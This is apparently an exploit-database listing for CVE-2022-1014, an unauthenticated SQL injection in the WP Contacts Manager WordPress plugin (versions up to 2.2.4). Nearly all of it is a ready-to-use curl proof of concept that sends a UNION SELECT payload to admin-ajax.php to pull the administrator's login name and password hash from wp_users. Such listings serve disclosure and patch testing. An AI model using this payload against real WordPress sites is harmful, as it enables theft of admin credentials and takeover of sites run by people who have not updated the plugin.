Exploit for WP Contacts Manager <= 2.2.4 - Unauthenticated SQLi CVE-2022-1014

Name: Exploit for WP Contacts Manager <= 2.2.4 - Unauthenticated SQLi CVE-2022-1014
Rating: 5 (137 reviews)

2022-05-02 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:EB9E202D-04AA-4343-86A2-4AA2EDAA7F6B
curl 'http://127.0.0.1:8080/wp-admin/admin-ajax.php?action=WP_Contacts_Manager_call&type=get-contact' \
    --data '{"id":"1\u0027 UNION ALL SELECT 1,(SELECT user_login FROM wp_users WHERE ID = 1),(SELECT user_pass FROM wp_users WHERE ID = 1),4,5,6,7,8,9,0,1,2; -- "}'